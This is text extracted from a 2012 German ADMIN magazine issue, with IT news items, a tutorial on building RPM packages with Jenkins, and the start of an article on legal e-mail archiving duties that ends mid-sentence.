PrintFax Gateway<br />
Conferencing<br />
Mehr Informationen finden Sie unter:<br />
http://www.pascom.net<br />
http://community.pascom.net<br />
NEU<br />
Kostenlose<br />
Community<br />
Version<br />
erhältlich<br />
pascom<br />
Netzwerktechnik GmbH & Co. KG<br />
Berger Straße 42<br />
94469 Deggendorf<br />
Tel.: +49 991 27006 - 0<br />
Ausgabe 04-2012<br />
11
Login<br />
News<br />
+++ neueste Nachrichten immer auf http://www.admin-magazin.de +++++ neueste Nachrichte<br />
VMware virtualisiert Hadoop<br />
Das neue Serengeti-Projekt soll Hadoop-Installationen in virtualisierten<br />
Umgebungen und „Clouds“ erleichtern und ihre<br />
Performance verbessern.<br />
Die Firma VMware hat ein neues Open-Soure-Projekt ins Leben<br />
gerufen, das es ermöglichen soll, die Cluster-Software Hadoop<br />
einfacher und performanter in virtuellen Umgebungen zu betreiben.<br />
Unter dem Namen „Serengeti“ stellt es einen „One-<br />
Click-Installer“ bereit, der Hadoop in einem Netz virtualisierten<br />
Knoten installiert. Derzeit wird dabei nur die Virtualisierungslösung<br />
vSphere von VMware unterstützt, prinzipiell der Support<br />
anderer Systeme nicht ausgeschlossen. Mit Serengeti lassen<br />
sich außerdem auf Hadoop basierende Anwendungen wie Hive<br />
(Data Warehouse) und Pig (Analyse großer Datenmengen)<br />
installieren.<br />
Serengeti ist in Java geschrieben und steht als freie Software<br />
unter der Apache-Lizenz. Auf der Serengeti-Homepage steht das<br />
Image einer virtuellen vSphere-Appliance zum Download bereit.<br />
Künftig will VMware zusammen mit der Hadoop-Community<br />
daran arbeiten, dass Hadoop, das bisher auf Cluster physischer<br />
Rechner ausgelegt ist, besser mit virtualisierten Umgebungen<br />
funktioniert. So sollen beispielsweise das Hadoop Distributed<br />
File System (HDFS) und das Map-Reduce-Framework dahingehend<br />
optimiert werden.<br />
IPv6-Day: sieben Millionen Hosts<br />
Die monatliche Statistik des Internetspezialisten Netcraft kann<br />
pünktlich zum IPv6-Tag am 6. Juni auf Antworten von 7 Millionen<br />
Hostnames mit IPv6-Adresse verweisen.<br />
Die Mehrheit der IPv6-Hosts läuft unter dem Apache-Webserver<br />
(6,2 Millionen) Nginx folgt mit rund 400.000 Hostnamen. Insgesamt<br />
hat Netcraft in seiner Webserverstatistik [http://news.<br />
netcraft.com/archives/2012/06/06/june‐2012‐web‐server‐survey.html] den<br />
Apache-<strong>Server</strong> im Juni stark an Marktanteilen zulegen sehen.<br />
Fast 23 Millionen Hostnames mehr als im Vormonat sind auf<br />
Apache gehostet. Microsofts Webserver hat zwar 3,5 Millionen<br />
Hostnames hinzugewonnen, verliert aber trotzdem an Marktanteilen<br />
<strong>gegen</strong>über der Konkurrenz. Nginx hat nach neun Monaten<br />
Wachstum im Juni leicht an Anteilen verloren.<br />
Unter [http:// www. worldipv6launch. org] gibt es Informationen zum<br />
Verlauf des IPv6-Tags.<br />
Lernunterlagen Linux Essentials<br />
Die Linup Front GmbH hat kostenlose Lernunterlagen für die<br />
vom Linux Professional Institute neu eingeführte Zertifizierung<br />
Linux Essentials veröffentlicht. Das Handbuch ist als PDF im<br />
Webshop von Linup Front [http://shop.linupfront.de/product/lxes/]<br />
herunterladbar. Zudem stehen die Unterlagen auch in Form<br />
einer Android-App zur Verfügung und lassen sich im Google-<br />
Play-Store finden. Die Unterlagen sind in deutscher Sprache<br />
gehalten, eine englische Fassung gibt es ergänzend.<br />
Mit dem Essentials-Programm möchte das LPI besonders Schüler<br />
und Studenten ansprechen. Diese Zielgruppe kann sich<br />
Grundlagenkenntnisse zu Linux und Open Source attestieren<br />
lassen. Nach Abschluss der Beta-Phase ist die Prüfung Linux<br />
Essentials ab Juni im Angebot.<br />
Fedora will Secure Boot und UEFI meistern<br />
Der Entwickler Matthew Garrett hat einen Plan vorgestellt, der<br />
die kommende Fedora-Release 18 auf Rechnern mit UEFI und<br />
Secure Boot zum Laufen bringen soll. Dabei betont der Red-Hat-<br />
Angestellte, dass er nicht für seinen Arbeitgeber spricht, sondern<br />
nur den Diskussionsstand des Fedora-Projekts wiedergibt.<br />
Garrett erwartet, dass mit der Veröffentlichung von Windows 8<br />
im Herbst 2012 fast alle handelsüblichen Computer Secure Boot<br />
verwenden werden – auf jeden Fall jene mit vorinstalliertem<br />
Windows. Mit in der Firmware hinterlegten Schlüsseln stellt das<br />
System dann sicher, dass nur das vorgesehene Betriebssystem<br />
starten kann, in diesem Fall Windows 8.<br />
Es werde zwar die Möglichkeit geben, in der Firmware Secure<br />
Boot zu deaktivieren oder eigene Schlüssel zu hinterlegen,<br />
diesen heiklen Eingriff möchte Matt Garrett aber nicht allen<br />
Fedora-Nutzern zumuten. Ein mögliches Vorgehen für Fedora<br />
wäre es, selbst einen Schlüssel bei möglichst allen Herstellern<br />
zu hinterlegen. Das wäre aber sehr aufwändig und würde zudem<br />
die Wahl der Linux-Distribution auf Fedora einschränken,<br />
referiert der Entwickler in seinem Blog.<br />
Daneben besteht eine weitere Möglichkeit, für die sich das<br />
Fedora-Projekt wahrscheinlich entscheiden wird: Die erste Stufe<br />
des Linux-Bootloaders von Microsoft signieren zu lassen. Das<br />
sei über das Systementwickler-Portal des Herstellers für 99 US-<br />
Dollar möglich. Die erste Stufe soll dann den Linux-üblichen<br />
Bootloader Grub 2 starten, der den Linux-Kernel lädt.<br />
Das Prinzip ist einfach, der Teufel steckt aber offenbar im Detail:<br />
Damit das Secure-Boot-Prinzip wirklich greift, muss auch der<br />
Linux-Kernel signiert sein, und er darf auch nur signierte Module<br />
nachladen. Die Grafiktreiber müssen alle aus dem Userspace<br />
in den Kernel wandern. Garret und Kollegen haben also noch<br />
einige Arbeit zu leisten.<br />
Anwender, die einen selbst kompilierten Kernel einsetzen möchten,<br />
müssten sich vermutlich die Mühe machen, den Betriebssystemkern<br />
selbst zu signieren und ihre Schlüssel irgendwie<br />
in die Firmware einzuspielen. Oder sie treten selbst Microsofts<br />
Entwicklerprogramm bei, um ihren Kernel signieren zu lassen.<br />
Ansonsten bleibt ihnen nur die Möglichkeit, Secure Boot zu<br />
deaktivieren.<br />
12 Ausgabe 04-2012 Admin www.admin-magazin.de
News<br />
Login<br />
n immer auf http://www.admin-magazin.de ++++ neueste Nachrichten immer auf http://www.<br />
Linux jetzt auf Microsofts Azure-Cloud<br />
Mit einem Update der Cloud-Plattform Azure unterstützt<br />
Microsoft jetzt auch Images für virtualisierte Linux-Systeme.<br />
Für Kunden stehen dabei die Distributionen Ubuntu 12.04,<br />
Open Suse 12.1, CentOS 6.2 und Suse Linux Enterprise <strong>Server</strong> 11<br />
SP2 zur Auswahl. Die hinter Ubuntu stehende Firma Canonical<br />
kommentierte das neue Angebot im eigenen Blog wohlwollend.<br />
Support für das auf Azure installierte Ubuntu <strong>Server</strong> 12.04<br />
LTS will Canonical selbst leisten. Für CentOS-Installationen<br />
außerhalb der Cloud bietet Microsoft bereits länger selbst Support-Leistungen<br />
an. Kostenpflichtigen Support für das CentOS-<br />
Angebot auf Azure gibt es von der Firma Openlogic.<br />
Statt wie bisher Azure nur als Programmier- und Anwendungsplattform<br />
anzubieten (PaaS), entwickelt sich die Microsoft-<br />
Cloud nun etwas mehr in Richtung Infrastructure-as-a-Service<br />
(IaaS), bei dem Kunden, ähnlich wie bei der Amazon-Cloud,<br />
komplette Betriebssysteme virtualisieren.<br />
RHEL 6.3 erschienen<br />
Red Hat hat mit der Version 6.3 ein neues Release seines Red<br />
Hat Enterprise Linux (RHEL) veröffentlicht. Das Minor Release<br />
bringt zahlreiche Verbesserungen und Fehlerkorrekturen sowie<br />
neue Treiber für viele Peripheriegeräte, aber auch neue Features.<br />
Zu den Neuerungen zählen die aktuellste Open-Source-Version<br />
von Java im OpenJDK 7. Neu ist auch ein Virt-P2V-Tool das ein<br />
physisches RHEL- oder Windows-System in einen KVM-Gast<br />
konvertiert. Außerdem kann ein Gast nun 160 statt zuvor nur 64<br />
virtuelle CPUs verwenden. LVM unterstützt neuerdings auch die<br />
RAID-Level 4, 5, und 6 und vereint alle Managementfunktionen<br />
in einem User-Interface.<br />
Open Suse überdenkt Release-Prozess<br />
Open Suses Release-Manager Stephan Kulow hat die Projektmitglieder<br />
der Linux-Distribution informiert, dass sich die für<br />
Mitte Juli geplanten Termine für Version 12.2 nicht halten<br />
lassen. In seiner E-Mail [http://lists.opensuse.org/opensuse‐factory/<br />
2012‐06/msg00468.html] schreibt Kulow, die derzeitige Verspätung<br />
sei eine gute Gelegenheit, den Release-Prozess zu überdenken.<br />
Die gewachsene Anzahl der Pakete im Factory-Zweig habe neue<br />
Prob leme mit Abhängigkeiten gebracht, fährt er fort: Nie habe<br />
es in der Entwicklung von Open Suse 12.2 weniger als 100 Pakete<br />
mit dem Status „rot“ gegeben.<br />
Kulow regt daher an, mehr Mitarbeiter in die Integrationsarbeit<br />
einzubeziehen. Zudem soll es mehr Staging-Projekte geben, die<br />
Software zur Reife bringen, und weniger Entwicklungsprojekte.<br />
Als Konsequenz des gestiegenen Aufwands schlägt er vor, entweder<br />
die festen Release-Termine abzuschaffen oder nur noch<br />
einmal im Jahr einen neue Version zu veröffentlichen. Er lädt<br />
die Community zu einer offenen Diskussion ein, um eine neue<br />
Vorgehensweise zu entwickeln.<br />
Jos Poortvliet, Community-Manager von Open Suse, spricht im<br />
Zusammenhang mit den kaputten Paketen von einem Broken-<br />
Window-Problem: Je mehr bereits kaputt sei, desto weniger<br />
kümmerten sich die Leute darum.<br />
Linux-<strong>Server</strong><br />
Das Administrationshandbuch<br />
Linux Hochverfügbarkeit<br />
Einsatzszenarien und Praxislösungen<br />
Dell setzt auf ARM-<strong>Server</strong><br />
Computerhersteller Dell hat mit Tests für Betriebssysteme und<br />
Anwendungen auf ARM-<strong>Server</strong>n begonnen. Ein <strong>Server</strong>-Modell<br />
namens Copper [http://content.dell.com/us/en/enterprise/d/campaigns/<br />
project‐copper.aspx] sei an ausgewählte Kunden bereits ausgeliefert,<br />
heißt es in einer Mitteilung des Unternehmens. Zu diesen<br />
Kunden zählen Canonical und<br />
Cloudera. Zum Test gibt es einen<br />
Remote-Zugang zu Dells<br />
Copper-<strong>Server</strong>clustern.<br />
Dell sieht die Nachfrage nach<br />
ARM-Installationen in den<br />
Bereichen Web-Frontend- und<br />
Hadoop-Umgebungen steigen.<br />
Die meisten Lösungen seien<br />
im Open-Source- und im nichtoperativen<br />
Umfeld verfügbar,<br />
heißt es weiter, deshalb wolle<br />
Steve Cumings vom Dell Data Center Dell die Weiterentwicklung<br />
Solutions präsentiert das Projekt dieses Partnersystems unterstützen.<br />
Copper.<br />
1008 S., 2., akt. und erw. Auflage, 49,90 €<br />
» www.GalileoComputing.de/3051<br />
Admin-Know-how<br />
Apache 2.4<br />
Das umfassende Handbuch<br />
1024 S., 2012, mit DVD, 49,90 €<br />
» www.GalileoComputing.de/2632<br />
454 S., 2011, mit DVD, 49,90 €<br />
» www.GalileoComputing.de/1999<br />
www.GalileoComputing.de<br />
LPIC-1<br />
545 S., 2012, mit DVD, 34,90 €<br />
» www.GalileoComputing.de/2653<br />
www.admin-magazin.de<br />
Admin<br />
13<br />
Ausgabe 04-2012<br />
Wissen, wie’s geht.
Login<br />
Admin-Story<br />
© Florin Rosu, Fotolia<br />
Continuous Integration mit Jenkins<br />
Dienstbarer<br />
Geist<br />
Den neu geschriebenen Programmcode zu übersetzen und zu testen, ist<br />
eine Sache. Das Ganze dann aber auch noch in ein RPM-Paket zu gießen,<br />
um die Software sauber auf den Test-Systemen zu installieren, eine ganz<br />
andere. Jenkins hilft, diese Arbeit zu minimieren. Thorsten Scherf<br />
Ob Entwickler ihre Arbeit oft und frühzeitig<br />
in ein Versionskontrollsystem<br />
(VCS) wie beispielsweise Subversion<br />
oder Git einchecken sollen oder nicht, ist<br />
Gegenstand hitziger Diskussionen. Die<br />
Gegner führen an, dass hierdurch möglicherweise<br />
die Arbeit anderer Entwickler<br />
erschwert wird, da ja nicht immer sichergestellt<br />
ist, dass der eingecheckte Code<br />
auch funktioniert beziehungsweise die<br />
Software sich überhaupt noch übersetzen<br />
lässt. Die Befürworter halten ent<strong>gegen</strong>,<br />
dass sich neuer Code immer schwieriger<br />
integrieren lässt, je größer und umfangreicher<br />
der neue Commit wird. Kleine,<br />
aber zahlreiche Code-Häppchen sollen<br />
hier also sicherstellen, dass ein möglicher<br />
Fehler früh erkannt wird und dieser sich<br />
somit schnell beheben lässt.<br />
Das Ganze kann aber natürlich nur dann<br />
funktionieren, wenn jemand die vielen<br />
neuen Code-Häppchen auch regelmäßig<br />
testet, sobald diese im Software-Repository<br />
auftauchen. Nur dann ist sichergestellt,<br />
dass Fehler zeitnah und somit<br />
auch einfach zu beheben sind. Wieso<br />
also nicht einfach jemanden einstellen,<br />
der den lieben langen Tag nichts anderes<br />
macht, als neu eingecheckten Code zu<br />
übersetzen, zu verifizieren und dann auf<br />
mögliche Fehler hinzuweisen? Diese neue<br />
Ressource würde noch nicht einmal einen<br />
Gehaltsscheck verlangen, denn die Rede<br />
ist von Jenkins, dem Butler – einigen<br />
vielleicht auch noch unter dem Namen<br />
Hudson bekannt.<br />
Jenkins, geb. Hudson<br />
Jenkins [1] ist eine webbasierte Java-<br />
Anwendung, die in jedem modernen<br />
Servlet-Container läuft, wie beispielsweise<br />
Tomcat oder Jboss. Das Tool bringt<br />
jedoch auch mit Winstone einen eigenen,<br />
minimalen Container mit. Somit besteht<br />
nicht zwingend die Notwendigkeit, einen<br />
zusätzlichen Webcontainer zu installieren,<br />
sollte dieser nicht bereits vorhanden<br />
sein. Jenkins unterstützt eine ganze Reihe<br />
von Buildtools und integriert sich nahtlos<br />
in Versionskontrollsysteme wie beispielsweise<br />
Subversion. Dank der modularen<br />
Struktur von Jenkins lässt sich dessen<br />
Funktionsumfang sehr stark erweitern.<br />
So existieren beispielsweise Plugins für<br />
das Einbinden von weiteren Buildtools<br />
oder Versionskontrollsystemen.<br />
Durch regelmäßige Abfragen des konfigurierten<br />
VCS kann Jenkins sehr schnell<br />
feststellen, ob neuer Code in das Repository<br />
eingecheckt wurde. Sollte dies der<br />
Fall sein, so wird dieser ausgecheckt, und<br />
Jenkins ruft das konfigurierte Build-Tool<br />
auf, um den neuen Code schließlich zu<br />
übersetzen. Zusätzlich ist Jenkins natürlich<br />
auch in der Lage, beliebige andere<br />
Aktionen auf den neuen Code anzuwenden.<br />
Hierzu zählt beispielsweise das<br />
Bauen von einem neuen RPM-Paket auf<br />
Basis des neuen Programmcodes.<br />
Grüße von Chuck Norris<br />
Wer das Chuck-Norris-Plugin installiert<br />
hat, der bekommt im Erfolgsfall das passende<br />
Thumbsup zu sehen (Abbildung 1),<br />
sonst gibt Jenkins eine einfache Erfolgsmeldung<br />
aus. Die Build-Ergebnisse, auch<br />
Artefakte genannt, bewahrt Jenkins dabei<br />
auf Wunsch auf. Das ist ganz nützlich,<br />
wenn man diese nicht durch den nächsten<br />
Buildprozess wieder überschreiben<br />
möchte. Der Aufruf eines automatischen<br />
Testtools, wie beispielsweise JUnit, stellt<br />
dann schließlich sicher, dass der neue<br />
Build auch funktionell die gewünschten<br />
Abbildung 1: Der Build war erfolgreich? Chuck Norris<br />
bedankt sich mit einem Thumbsup.<br />
16 Ausgabe 04-2012 Admin www.admin-magazin.de
Admin-Story<br />
Login<br />
einfach als RPM-Revision. Der Header<br />
im Spec-File kann somit beispielsweise<br />
folgende Zeilen enthalten:<br />
Name<br />
: foo<br />
Summary<br />
: foo application<br />
Version : 42<br />
Release<br />
: %{?BUILD_NUMBER}<br />
Abbildung 2: Mit Jenkins lassen sich unterschiedlichste Software-Projekte managen.<br />
Ergebnisse liefert. Mögliche Fehler zeigt<br />
Jenkins auch direkt an und kann auf<br />
Wunsch auch per E-Mail oder einen RSS-<br />
Feed darüber informieren.<br />
Installation<br />
Um Jenkins nun zu verwenden, ist zuerst<br />
einmal das entsprechende Software-<br />
Repository einzubinden:<br />
# sudo wget ‐O /etc/yum.repos.d/jenkins.U<br />
repo http://pkg.jenkins‐ci.org/redhat/U<br />
jenkins.repo<br />
# sudo rpm ‐‐import http://pkg.jenkins‐ci.U<br />
org/redhat/jenkins‐ci.org.key<br />
# sudo yum install ‐y jenkins<br />
# sudo /etc/init.d/jenkins start<br />
Für nicht RPM-basierte Distributionen<br />
steht auf der Jenkins-Projektseite ein entsprechendes<br />
War-Archiv zur Verfügung.<br />
Im Anschluss lauscht Jenkins auf Port<br />
8080 auf eingehende Requests. Ruft<br />
man die Seite nun also im Webbrowser<br />
auf, steht auf der linken Seite ein Auswählmenü<br />
zur Verfügung. Um ein neues<br />
Projekt anzulegen, wählt man hier dann<br />
»New Job« aus. Über den Menüpunkt<br />
»Build a freestyle Software project« (Abbildung<br />
2) gelangt man dann schließlich<br />
in den eigentlichen Konfigurationsdialog.<br />
Hier ist das Versionskontrollsystem, das<br />
Build-Tool und optional das Test-Tool zu<br />
spezifizieren. Für das automatische Erzeugen<br />
von RPM-Pakten, um das es hier<br />
geht, benutze ich das einfache Skript in<br />
Listing 1. Es ist als Build-Tool in Jenkins<br />
einzutragen und stößt den entsprechenden<br />
RPM-Build an (Abbildung 3).<br />
Das Ganze setzt natürlich voraus, dass<br />
der Subversion-Checkout in einem Unterordner<br />
»foo« erfolgt. Diese Info kann<br />
ich Jenkins mit übergeben. Hier sollten<br />
dann neben dem RPM-Spec-File und dem<br />
Build-Skript natürlich alle Dateien liegen,<br />
die in das RPM zu integrieren sind. Um<br />
ebenfalls ein sauberes SRPM zu erhalten,<br />
wird aus den Sourcen noch ein Archiv<br />
gebaut, welches mit in das SRPM einfließt.<br />
Die For-Schleife erzeugt dann im<br />
Projektordner unterhalb von »/var/lib/<br />
jenkins/workspace/« eine entsprechende<br />
RPM-Buildstruktur.<br />
Makros definiert<br />
Damit der Aufruf von »rpmbuild« auch<br />
tatsächlich funktioniert, muss das Tool<br />
wissen, dass seine Build-Umgebung jetzt<br />
im Jenkins-Projektordner liegen soll.<br />
Diese Information kann ich beim Aufruf<br />
mittels des »topdir«-Makros zwar mit angeben,<br />
eleganter ist es jedoch, diese Info<br />
einfach mit in das Spec-File aufzunehmen.<br />
Im Header der Datei definiere ich<br />
hierfür einfach zwei neue Makros, die ich<br />
dann im weiteren Verlauf der Spec-Files<br />
verwenden kann:<br />
%define _topdir %(echo `pwd`)<br />
%define BUILD_NUMBER %(echo $SVN_REVISION)<br />
»BUILD_NUMBER« bezieht sich auf die<br />
SVN-Revision. Hierfür stellt Jenkins netterweise<br />
eine entsprechende Variable zur<br />
Verfügung. Von diesen Variablen kennt<br />
Jenkins eine ganze Menge, die Dokumentation<br />
[2] stellt eine ganze Liste davon<br />
zur Verfügung. Die »BUILD_NUMBER«<br />
verwende ich im RPM-Spec-File dann<br />
Der Autor<br />
Thorsten Scherf arbeitet als Senior Consultant für<br />
Red Hat EMEA. Er ist oft als<br />
Vortragender auf Konferenzen<br />
anzutreffen. Wenn neben<br />
Arbeit und Familie noch<br />
Zeit bleibt, nimmt er gerne<br />
an Marathonläufen teil.<br />
Durch den Aufruf von »Build Now« oder<br />
durch einen neuen Checkin ins Repository,<br />
wird der Build angestoßen. Hat alles<br />
geklappt, sollte das neu gebaute RPM-<br />
Paket im Jenkins-Projektverzeichnis im<br />
Unterorder RPMS zu finden sein. Jenkins<br />
stellt eine Reihe von unterschiedlichen<br />
URLs zur Verfügung, mit denen man beispielsweise<br />
auch auf das zuletzt erzeugte<br />
RPM-Paket referenzieren kann. Eine solche<br />
URL könnte dann wie folgt lauten:<br />
http://localhost:8080/job/U<br />
foo‐jenkins‐project/lastSuccessfulBuild/<br />
Eine Übersicht sämtlicher URLs und RSS-<br />
Feeds stellt Jenkins auf der Projektseite<br />
zur Verfügung. Dort ist auch eine entsprechende<br />
Grafik zu finden, die einen Build-<br />
Trend für das Projekt anzeigt. Hoffentlich<br />
scheint dort meist die Sonne.<br />
An dieser Stelle sind dann natürlich<br />
jede Menge weitere Aktionen möglich.<br />
Beispielsweise könnte man das soeben<br />
erzeugte RPM automatisch auf einen<br />
Spacewalk-<strong>Server</strong> laden, um es von dort<br />
auf die Test-Systeme zu deployen. Jenkins<br />
bietet hier noch viele Möglichkeiten<br />
– nicht zuletzt durch die vielen nützlichen<br />
Plugins. (cth/ofr)<br />
n<br />
Infos<br />
[1] Jenkins-Projektseite: [https:// wiki.<br />
jenkins‐ci. org/]<br />
[2] Jenkins-Dokumentation: [https://<br />
wiki. jenkins‐ci. org/ display/ JENKINS/<br />
Building+a+software+project]<br />
Listing 1: »build.sh«<br />
01 tar cfz foo.tar.gz foo/* ‐‐exclude="*.spec" ‐‐exclude<br />
".svn" ‐‐exclude="build.sh"<br />
02 <br />
03 for dir in BUILD RPMS SOURCES SPECS SRPMS<br />
04 do<br />
05 [[ ‐d $dir ]] && rm ‐Rf $dir<br />
06 mkdir $dir<br />
07 done<br />
08 <br />
09 cp foo/foo.spec SPECS/<br />
10 mv foo.tar.gz SOURCES/<br />
11 rpmbuild ‐ba SPECS/foo.spec<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
17
Login<br />
Mail-Archivierung<br />
© bilderbox, Fotolia<br />
Archivierungspflicht für E-Mails<br />
Ablageordnung<br />
Welche Aufbewahrungspflichten gelten für E-Mails und digitale Dokumente? Sind alle E-Mails zu archivieren?<br />
welche technischen Anforderungen verlangt das Gesetz? Vilma Niclas<br />
E-Mails haben in vielen Bereichen den<br />
herkömmlichen Geschäftsbrief oder das<br />
Fax abgelöst. Für die Geschäftspost waren<br />
Eingangsstempel und eine ordentliche<br />
Ablage selbstverständlich. Was<br />
vielleicht noch nicht ebenso selbstverständlich<br />
ist: Auch E-Mail-Postfächer sind<br />
entsprechend zu organisieren. Bestimmte<br />
E-Mails und digitale Dokumente sind eine<br />
Zeit lang geordnet aufzubewahren. Eine<br />
digitale Ablage samt Index ist Vorschrift<br />
(Technische Einzelheiten diskutiert ein<br />
weiterer Beitrag dieser Ausgabe).<br />
Form follows function<br />
Entscheidend für die Frage, ob ein Dokument<br />
archiviert werden muss oder nicht,<br />
ist dessen Inhalt. Für Mails gelten grundsätzlich<br />
identische gesetzliche Vorgaben<br />
wie für herkömmliche Unterlagen auf<br />
Papier. Aufbewahrungspflichten ergeben<br />
sich aus der Abgabenordnung (AO), dem<br />
Handelsgesetzbuch (HGB) und dem Umsatzsteuergesetz.<br />
In § 257 HGB heißt es<br />
unter anderem: „Jeder Kaufmann ist verpflichtet,<br />
die folgenden Unterlagen geordnet<br />
aufzubewahren. […] 2. die empfangenen<br />
Handelsbriefe, 3. Wiedergaben der<br />
abgesandten Handelsbriefe….“ Handelsbriefe<br />
sind all diejenigen Schriftstücke,<br />
die ein Handelsgeschäft betreffen, etwa<br />
ein Angebot und dessen Annahme per E-<br />
Mail oder die Rückabwicklung oder Kündigung<br />
eines Vertrages. Angebote, die zu<br />
einem Vertragsschluss führen, Auftragsbestätigungen,<br />
Rechnungen, Kündigungen,<br />
Reklamationen oder Zahlungsbelege<br />
sind zu archivieren, unabhängig davon,<br />
ob diese digital oder auf Papier anfallen.<br />
Werbesendungen fallen nicht darunter,<br />
solange diese nicht zum Geschäftsabschluss<br />
führen. Im Zweifel kommt es auf<br />
den Einzelfall an.<br />
Paragraf 147 AO, eine Vorschrift aus dem<br />
Steuerrecht, regelt weitere Ordnungsvorschriften<br />
für die Aufbewahrung von Auftragsbestätigungen,<br />
Rechnungen oder E-<br />
Mails. Diese Vorschrift gilt anders als das<br />
Handelsgesetzbuch nicht nur für Kaufleute,<br />
sondern auch für Freiberufler und<br />
andere gewerblich Tätige. Die Vorschrift<br />
verlangt, alle sonstigen Unterlagen, soweit<br />
sie für die Besteuerung von Bedeutung<br />
sind, aufzubewahren. Die Grenze ist<br />
fließend und es dürfte in der Praxis nicht<br />
leicht fallen, in der Flut der E-Mails täglich<br />
Wichtiges von Unwichtigem zu trennen.<br />
Man sollte daher eher mehr als zu<br />
wenig archivieren. Auch E-Mail-Anhänge,<br />
etwa Vertragsentwürfe können entscheidend<br />
sein, weshalb sie mit ins Archiv<br />
gehören. Viele Unternehmer haben sich<br />
dafür entschieden, sämtliche eingehenden<br />
und ausgehenden E-Mails mit einem<br />
Index zu versehen und vollständig zu<br />
archivieren, noch bevor der Mitarbeiter<br />
einzelne E-Mails löschen kann.<br />
Was Mails beweisen<br />
Gelten E-Mails als Beweismittel? Selbst<br />
ohne diese gesetzlichen Pflichtvorgaben<br />
zur Archivierung tut man gut daran,<br />
E-Mails und digitale Dokumente eine gewisse<br />
Zeit lang geordnet aufzubewahren.<br />
Dies gilt besonders, wenn es um E-Mails<br />
geht, die einen Vertragsschluss vorbereiten<br />
oder den Inhalt eines Vertrages dokumentieren.<br />
Es ist möglich, einen Vertrag<br />
digital ohne handschriftliche Unterschrift<br />
rechtsverbindlich zu schließen. Ein Angebot<br />
per E-Mail und die entsprechende<br />
Antwort des Geschäftspartners, die ein<br />
„Ja“ enthält oder die Bitte Ware zuzusenden<br />
oder die Dienstleistung zu erbringen,<br />
reichen in der Regel. Ein unterschriebenes<br />
Dokument ist nur für bestimmte Geschäfte<br />
nötig, etwa bei einer Bürgschaft,<br />
Kündigung des Arbeitsverhältnisses oder<br />
18 Ausgabe 04-2012 Admin www.admin-magazin.de
Mail-Archivierung<br />
Login<br />
einem Grundstückskaufvertrag. Sollte das<br />
Gesetz ausnahmsweise die eigenhändige<br />
Unterschrift für eine bestimmte Erklärung<br />
vorschreiben, ist es mittlerweile möglich,<br />
diese durch die sogenannte elektronische<br />
Form zu ersetzen, die § 126 a BGB regelt.<br />
Das bedeutet: Der Absender muss<br />
der Erklärung seinen Namen hinzufügen<br />
und das elektronische Dokument mit einer<br />
qualifizierten elektronischen Signatur<br />
nach dem Signaturgesetz versehen.<br />
Das Problem unsignierter Verträge ist:<br />
Die Dateien sind leicht zu manipulieren<br />
und eine ordnungsgemäße Ablage erfolgt<br />
selten. Dies führt dazu, dass einfache<br />
E-Mails und Dateien vor Gericht keinen<br />
hohen Stellenwert genießen. Wer einem<br />
Richter einen schriftlichen Vertrag mit<br />
eigenhändigen Unterschriften vorlegt,<br />
setzt im Streitfall sein Recht wesentlich<br />
einfacher durch als mit einer ausgedruckten<br />
E-Mail.<br />
Nicht vertrauenswürdig<br />
Ein Beispiel: Bei einem Gebot auf eine<br />
Internet-Auktion für eine goldene Herrenarmbanduhr<br />
sollte diese der angebliche<br />
Käufer zu einem Preis von 18 000,- DM<br />
ersteigert haben. Er wollte nicht zahlen<br />
und bestritt, die Uhr ersteigert zu haben.<br />
Den Vertragsschluss konnte der Verkäufer<br />
nicht beweisen. Er blieb trotz erfolgreicher<br />
Auktion auf der Uhr sitzen und erhielt<br />
den Kaufpreis nicht, der ihm eigentlich<br />
zugestanden hätte. Das OLG Köln am<br />
06. September 2002 (AZ: 19 U 16/02):<br />
© Feng Yu, 123RF<br />
Abbildung 1: Eine indizierte Ablage ist auch für E-Mails Pflicht.<br />
Der Empfänger einer E-Mail könne nicht<br />
darauf vertrauen, dass eine E-Mail tatsächlich<br />
vom Inhaber der E-Mail- Adresse<br />
stamme, da der Sicherheitsstandard im<br />
Internet nicht ausreichend sei. Man sollte<br />
also immer damit rechnen, dass die einfache<br />
nicht signierte E-Mail im Gerichtssaal<br />
nur Indizcharakter hat und einen<br />
weitaus geringeren Beweiswert als ein<br />
unterschriebenes Blatt Papier.<br />
Qualifiziert signierte<br />
E-Mails<br />
Kommt es hart auf hart, und bezweifelt<br />
der Gegner die Echtheit einer E-Mail und<br />
legt <strong>gegen</strong>teilige Indizien auf den Tisch,<br />
ist die Erfolgsaussicht ohne zusätzliche<br />
Zeugen oder ohne qualifizierte elektronische<br />
Signatur schlecht. Zwar ist es schon<br />
seit 2001 möglich, E-Mails rechtssicher<br />
zu signieren. Aber leider hat sich das in<br />
der Praxis bis heute nicht durchgesetzt.<br />
Schuld daran sind die hohen jährlichen<br />
Kosten und die unterschiedliche Software<br />
bei Empfänger und Absender. Für eine<br />
elektronische Signatur muss der Aussteller<br />
der Erklärung seinen Namen hinzufügen<br />
und das elektronische Dokument<br />
mit der qualifizierten elektronischen Signatur<br />
nach dem Signaturgesetz signieren<br />
(§ 126 a BGB iVm, § 2 Nr. 3 Signaturgesetz),<br />
also mit einem kryptographischen<br />
Schlüssel versehen. So signierte E-Mails<br />
sind Privaturkunden in ihrem Beweiswert<br />
vor Gericht mehr oder weniger gleichgestellt<br />
(§ 371 a ZPO). Man geht von<br />
der Vermutung aus, dass die E-Mail mit<br />
diesem Inhalt tatsächlich vom Absender<br />
stammt, solange der Gegner den Anschein<br />
nicht durch ernst zu nehmende<br />
Tatsachen erschüttert.<br />
Das deutsche Signaturgesetz kennt<br />
verschiedene Arten der elektronischen<br />
Signaturen: die einfache, die fortgeschrittene<br />
sowie die qualifizierte elektronische<br />
Signatur. Die einfache Signatur ist nichts<br />
weiter als die Namensnennung des Absenders<br />
in der E-Mail. Sie bewirkt keinen<br />
zusätzlichen Beweiswert vor Gericht. Authentizität<br />
und Integrität sind durch diese<br />
Unterschrift nicht gewährleistet. Die<br />
fortgeschrittene Signatur gewährleistet,<br />
dass das Dokument unverändert beim<br />
Empfänger ankommt. Da jedermann beliebige<br />
Signaturschlüssel erzeugen kann,<br />
gewährt eine solche Signatur jedoch<br />
keine Authentizität.<br />
Statt Unterschrift<br />
Nur die qualifizierte elektronische Signatur<br />
bringt zusätzliche Gewissheit über<br />
den Absender. Damit lässt sich die eigenhändige<br />
Unterschrift ersetzen. Man<br />
erzeugt sie mithilfe eines privaten kryptografischen<br />
Schlüssels. Mit dem öffentlichen<br />
Schlüssel kann der Empfänger die<br />
Unterschrift prüfen und feststellen, ob<br />
die Daten unverfälscht sind. Staatlich<br />
